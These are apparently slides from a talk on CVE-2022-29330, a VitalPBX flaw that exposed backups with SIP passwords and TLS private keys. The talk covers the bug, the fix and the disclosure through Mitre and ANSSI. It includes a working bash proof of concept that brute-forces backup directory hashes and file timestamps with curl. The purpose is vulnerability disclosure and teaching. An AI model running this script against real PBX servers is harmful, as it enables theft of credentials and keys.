

CVE-2022-29330

A Tale of a  
Vulnerability

Corinne HENIN

[www.arsouyes.org](http://www.arsouyes.org)


Once upon a time


An IPBX called VitalPBX



# IPBX


## The Theory






# IPBX

## Our network





# Why do we use an IPBX ?

## More than phone calls

### Ring Groups


*One number to ring them all*

### Voicemail

*Record voice and send message by email*


### Anti-Bots

*Avoid spams and scams with turing test*



# Backup system

Save data to recover from crash





Search

Administrator

Backup & Restore

Dashboard

GENERAL

Name \*

test

Add-ons

Run Automatically

Disabled

Include CDR Records

Yes

Comment

Include Call Recordings

Yes

Limit

2

Include Voicemail

Yes

Include Faxes

Yes

Backups List


Date & Time	Backup	VitalPBX Version	Actions
2022-04-01 10:27:59	vitalpbx-1648801679.tar (20.18 MB)	3.1.5-3	
2022-04-01 10:24:41	vitalpbx-1648801481.tar (20.18 MB)	3.1.5-3	

Run Backup Now!

Update

Delete

New



Download the backup

Link to the file

[https://myipbx.mynetwork.lan/  
static/](https://myipbx.mynetwork.lan/static/)

[backup/](#)

[c4ca4238a0b923820dcc509a6f75849b/  
vitalpbx-1650260415.tar](#)



# The vulnerability

Insecure Direct Object Reference




Can anybody download the file ?  
(is there any access control ?)

[https://myipbx.mynetwork.lan/  
static/](https://myipbx.mynetwork.lan/static/)


[backup/](#)

[c4ca4238a0b923820dcc509a6f75849b/  
vitalpbx-1650260415.tar](#)



# Anybody can download (there is no access control)

```
<VirtualHost *:443>  
  ...  
  <Directory "/var/lib/vitalpbx/static">  
    Require all granted  
  </Directory>  
  Alias /static "/var/lib/vitalpbx/static"  
  ...  
</VirtualHost>
```




Can we guess directory name ?  
(is there any random generator ?)

`https://myipbx.mynetwork.lan/  
static/`

`backup/`


`c4ca4238a0b923820dcc509a6f75849b/  
vitalpbx-1650260415.tar`



Directory name is deterministic  
(no randomness at all)

C4ca4238a0b923820dcc509a6f75849b

= md5("1")




Can we guess file name ?  
(is there any random generator ?)

`https://myipbx.mynetwork.lan/  
static/`

`backup/`


`c4ca4238a0b923820dcc509a6f75849b/  
vitalpbx-1650260415.tar`



Filename is deterministic  
(no randomness at all)

1650260415

= `timestamp(2022-04-18T07:40:15+02:00)`



# Impact

what have we got with the file ?

SIP and PJSIP Extension config

*(with plain login and password)*

TLS certificates

*(with plain private key)*


Voicemail

*(and maybe more)*



# The Exploit

A (working) proof of concept is worth a thousand words



# Principle

how it works in theory

Directory name bruteforce

*(from 1 to  $\infty$ )*

File name bruteforce

*(from now to past)*



# In bash 1/3

('cause bash is life)


```
function bruteforce_directories() {  
  
    # Loop through IDs  
    for id in $(seq 1 $1) ; do  
        # Compute MD5 of id  
        md5=$(echo -n $id | md5sum | sed -e "s/ .*//")  
  
        ### For CURL :  
        # -s                / do not show progress bar  
        # -k                / do not check TLS  
        # -o /dev/null      / do not output HTTP response body  
        # -w "%{http_code}" / output HTTP response code  
        ### For Grep  
        # -q                / (quiet) do not show lines  
        # -v                / Inverse match  
        curl -s -k "$BASEURL/$md5/" -o /dev/null -w "%{http_code}" \  
            | grep -qv "404" \  
            && echo $md5  
  
    done  
}
```



# In bash 2/3

('cause bash is life)

```
function bruteforce_backupfile() {  
  
    now=$(date +%s)  
    past=$(date -d "$1" +%s)  
  
    while read md5; do  
  
        for timestamp in $(seq $now $past); do  
            ### For CURL :  
            # -s / do not show progress bar  
            # -k / do not check TLS  
            # -f / fails silently on errors  
            # -O / write output in a file instead of stdout  
            # -J / use filename from HTTP response instead of URL  
            curl -skfOJ "$BASEURL/$md5/vitalpbx-$timestamp.tar" && continue  
        done  
  
    done  
  
done  
  
}
```



# In bash 3/3

('cause bash is life)

```
#!/bin/bash

BASEURL="https://myipbx.mynetwork.lan/static/backup"


function bruteforce_directories() {
    # ...
}

function bruteforce_backupfile() {
    # ...
}

bruteforce_directories 10 | bruteforce_backupfile "1 day ago"
```

# Fix the issue

Make VitalPBX great again



# Quick and Dirty Patch

## Home made access control

**Apache configuration file**


*(login + pass, IP Address, ...)*

**Network firewall**

*(should already be in place)*

**De-activate feature**

*(and wait for official fix)*



Kindly tell Editor about the vuln  
and hope they will fix it

Email the editor

*(no dedicated address, we used sales@vitalpbx.org)*

No response

*(it was april fool's day...)*





# Disclosure policy

## To make them to fix

### Full disclosure

*Publish the proof of concept to the world !*

VS


### Responsible Disclosure

*Restrict access + countdown*





# Going responsible

## Article with countdown


 **Arsouyes.org**    [Blog](#)    [about](#)    [Phrack](#)    [Projets](#)

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## Vulnerability 0-day in VitalPBX 3.2.0


[Corinne HENIN & Thibaut HENIN](#)    [December 23, 2022](#)    [@Cybersecurity #vuln](#)     

As we were playing around quietly configuring our VitalPBX server, we discovered a vulnerability that was relatively easy to implement and gave us access to data we should not be able to read freely (*i.e.* passwords extensions, but not only). Here's how it works... and why you should update your version.

 **Patience**

This article will be soon available.

# 94:10:22:10




Tell Editor (again) about the vuln  
and hope they will (finally) fix it

Email the editor

*(again)*

No response

*(again)*



Reserve a CVE ID  
(fill the web form at Mitre's website)


Contact CNA

CVE Numbering Authorities

*(for us : mitre at <https://cveform.mitre.org/>)*

Fill in details and article's URL

*(stay private until we tell them to make it public)*



# Tell ANSSI (WHY)

Agence Nationale de la Sécurité des Systèmes  
d'Information

## Art. 323-3-1 (penal)


*Publishing vulnerabilities may be a crime*

## Art. 40 (penal procedures)

*Official authorities must tell district attorney about crimes*

## Art. L, 2321-4 (defense code)

*Except when disclosing vulnerabilities to ANSSI*



Tell ANSSI (HOW)


Agence Nationale de la Sécurité des Systèmes  
d'Information

Send an email

*cert-fr.cossi@ssi.gouv.fr*

Then they contact the editor

*(again)*



# Official fix

## May the 4th

3.2.1 R1

May 4, 2022

The VitalPBX version 3.2.1 R1 is now available. This new version includes significant security patches along with regular fixes and enhancements. To provide some context, we got notified that the backup files could be retrieved in the previous versions using a browser and a brute force script. Hence, this version implements security enhancements to protect the backup files. Fortunately, the incident was kept under wraps, and no users have been affected by the problem. Thereby, we recommend updating your PBX as soon as you can.

ADDED

Virtual Faxes: After successfully sending fax, an email notification is now sent.

IMPROVED

Backup and Restore: the backup files are no longer accessible via a public web address. Additionally, only authenticated users could now download the backups.

<https://vitalpbx.com/vitalpbx-phone-system-change-log/>

What's next ?

And they lived happily ever after





# Publishing Eventually

Wait almost two months

*(let anybody a delay to upgrade)*

Tell mitre

*(so they also publish details)*

Become rich and famous

*(or not)*




# Obtain a CVSS score And be frustrated

We calculate 7.5

*(with nist CVSS V3 calculator)*

NIST give us 4.5

*(because they forgot the unrequired privileges)*



# History of events

April 1<sup>st</sup> – first contact with VitalPBX

April 5<sup>st</sup> – Release of Vitalpbx 3.1.7 R1

April 12<sup>th</sup> – Contact Mitre


April 19<sup>th</sup> – Contact VitalPBX & ANSSI

May 4<sup>th</sup> – Release of Vitalpbx 3.2.1 R1 (Official Fix)

May 24<sup>th</sup> – CVE ID

June 23<sup>rd</sup> – Publication

June 24<sup>th</sup> – CVSS score



# What to remember

We do what we must because we can

## Serenpidity


*(unplanned furtunate discoveries)*

Some editor don't have disclosure procedures

*(you may have to contact agencies like Mitre, ANSSI, ...)*

Fight for the causes that matter

*(because CVSS score will not change anything in our life,  
but having the software corrected will save admins)*



That's All  
Folks